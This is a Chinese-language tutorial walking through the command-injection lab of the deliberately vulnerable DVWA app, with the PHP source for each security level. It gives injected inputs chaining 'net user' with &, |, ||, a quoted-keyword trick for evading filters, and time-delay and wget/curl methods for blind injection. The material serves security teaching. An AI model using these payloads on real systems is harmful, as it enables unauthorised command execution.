先看low级:
提示让我们输入一个IP地址来实现ping,猜测会是在系统终端中实现的,
我们正常输入127.0.0.1:

那我们就可以利用这个使用其他CMD命令

 我们输入127.0.0.1&&net user :
 
我们顺便看一下源代码
<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
// Get input
$target = $_REQUEST[ 'ip' ]; // Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
} // Feedback for the end user
$html .= "<pre>{$cmd}</pre>";
} ?>
这样的话,我们甚至可以用这个漏洞来创建管理员用户,控制电脑


 

Medium级别:

提示让我们输入一个IP地址来实现ping,猜测会是在系统终端中实现的,
我们正常输入127.0.0.1:
那我们就可以利用这个使用其他CMD命令
 
我们输入  127.0.0.1&&net user : 
 
发现少了两个 && ,初步估计,应该是后台代码过滤了,我们来看代码:
<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
// Get input
$target = $_REQUEST[ 'ip' ]; // Set blacklist
$substitutions = array(
'&&' => '',
';' => '',
); // Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target ); // Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
} // Feedback for the end user
$html .= "<pre>{$cmd}</pre>";
} ?>
发现这两行代码
$substitutions = array(
'&&' => '',
';' => '',
);
果然把 && 给过滤了,但是还有 | ,|| ,& 等符号可以连接两条命令
 
我们可以输入 127.0.0.1&net user :

我们可以输入 127.0.0.1|net user :

 
我们可以输入 127.0.0.1||net user :


 
High级别:
 
这次我们先来看源码:
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = trim($_REQUEST[ 'ip' ]); // Set blacklist
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
); // Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target ); // Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
} // Feedback for the end user
$html .= "<pre>{$cmd}</pre>";
}
?>
有这样一段代码:
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
 
这过滤的真多,简直要赶净杀绝
我们可以输入 127.0.0.1|net user :
 

Impossible等级:
 
我们先来看代码:
<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input
$target = $_REQUEST[ 'ip' ];
$target = stripslashes( $target ); // Split the IP into 4 octects
$octet = explode( ".", $target ); // Check IF each octet is an integer
if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
// If all 4 octets are int's put the IP back together.
$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3]; // Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
} // Feedback for the end user
$html .= "<pre>{$cmd}</pre>";
}
else {
// Ops. Let the user name theres a mistake
$html .= '<pre>ERROR: You have entered an invalid IP.</pre>';
}
} // Generate Anti-CSRF token
generateSessionToken(); ?>
我们尝试输入 127.0.0.1|net user :

这里直接限制了输入IP的格式,有效地防止了命令注入

 

小技巧
1.如果过滤了敏感字符怎么办?
   比如如果过滤了 whoami 命令,我们就无法查看当前用户
但是我们可以用 who""ami  who""am""i 这样的方式绕过
2.如果不显示输出结果怎么办?
延时注入:
     系统
       命令
windows
ping 127.0.0.1 -n 5 > null
linux
sleep 5
 
远程请求:
     系统
      命令
windows
ping , telnet 等
linux
wget , curl 等
 
 
 
 

2. DVWA亲测命令执行漏洞的更多相关文章

  1. 2. DVWA亲测文件包含漏洞

    Low级:     我们分别点击这几个file.php文件 仅仅是配置参数的变化: http://127.0.0.1/DVWA/vulnerabilities/fi/?page=file3.php 如 ...

  2. DVWA靶机的命令执行漏洞

    之前在打攻防世界的时候出现过类似的题目,这里再重温一下 (靶机一共低中高三个安全等级,这里只演示低中等级) (1)Security:low 根据提示让我们输入地址ping一下,之后返回以下内容,可以判 ...

  3. 1.2 DVWA亲测sql注入漏洞(blind)

    LOW等级     我们尝试输入:   即如果页面返回为假,则说明后面的语句成功注入 据此我们可以知道 1' and 真 --> 页面显示 “User ID exists in the data ...

  4. 1.3 DVWA亲测sql注入漏洞

    LOW等级   我们先输入1 我们加上一个单引号,页面报错 我们看一下源代码: <?php if( isset( $_REQUEST[ 'Submit' ] ) ) { // Get input ...

  5. PHP的命令执行漏洞学习

    首先我们来了解基础 基础知识来源于:<web安全攻防>徐焱 命令执行漏洞 应用程序有时需要调用一些执行系统命令的函数,如在PHP中,使用system.exec.shell_exec.pas ...

  6. DVWA之Command injection(命令执行漏洞)

    目录 Low Medium Middle Impossible 命令执行漏洞的原理:在操作系统中, &  .&& .|  . ||   都可以作为命令连接符使用,用户通过浏览器 ...

  7. 小白日记36:kali渗透测试之Web渗透-手动漏洞挖掘(二)-突破身份认证,操作系统任意命令执行漏洞

    手动漏洞挖掘 ###################################################################################### 手动漏洞挖掘 ...

  8. Kali学习笔记30:身份认证与命令执行漏洞

    文章的格式也许不是很好看,也没有什么合理的顺序 完全是想到什么写一些什么,但各个方面都涵盖到了 能耐下心看的朋友欢迎一起学习,大牛和杠精们请绕道 实验环境: Kali机器:192.168.163.13 ...

  9. 文件包含上传漏洞&目录遍历命令执行漏洞

    文件上传漏洞: 一句话木马 一句话木马主要由两部分组成:执行函数与 接收被执行代码的变量 执行函数: eval() assert() create_function() array_map() arr ...

随机推荐

  1. android 电池(三):android电池系统【转】

    本文转载自:http://blog.csdn.net/xubin341719/article/details/8709838 一.电池系统结构 Android中的电池使用方式主要有三种:AC.USB. ...

  2. Docker 单机网络

    Docker Network相关命令 root@ubuntu:~# docker network --help Usage: docker network COMMAND Manage network ...

  3. POJ 之 Hardwood Species

                                                         Hardwood Species Time Limit:10000MS     Memory ...

  4. 算法(Algorithms)第4版 练习 2.2.10

    关键代码实现: private static void merge(Comparable[] input, int lo, int mid, int hi) { //copy input[lo,mid ...

  5. Drools Fusion (CEP) Example 和 关键概念

    Drools Fusion (Complex Event Processing) 是Drools对于复杂事件处理的模块, 与它功能相似的是Esper, 两者都可以提供基于时间跨度和滑动窗口的事件处理, ...

  6. Java -- AWT 画图,图像处理

    1. AWT画图  Graphics类  提供绘制简单图形的方法 更新图片时用到 repaint , update , 程序不应该主动调用paint和update, 这两个方法都应该是由AWT系统负责 ...

  7. c版基于链表的插入排序(改进版)

    1. [代码][C/C++]代码 /** * @todo    c版基于链表的插入排序 * @author  Koma **/#include<stdio.h>#include<st ...

  8. jQuery绑定事件的四种方式区别

    jQuery中提供了四种事件监听方式,分别是bind.live.delegate.on,对应的解除监听的函数分别是unbind.die.undelegate.off.在开始看他们之前 一:bind(t ...

  9. jQuery向上遍历DOM树之parents(),parent(),closest()之间的区别

    http://www.poluoluo.com/jzxy/201312/253059.html 在这个sprint中,因为要写前端UI,所以用到了jQuery,但是jQuery在向上遍历DOM树的AP ...

  10. C++quickSort

    void QuickSort1(int *s,int left,int right){ int i,j,t,pivot; if(left>right) return; if(left<ri ...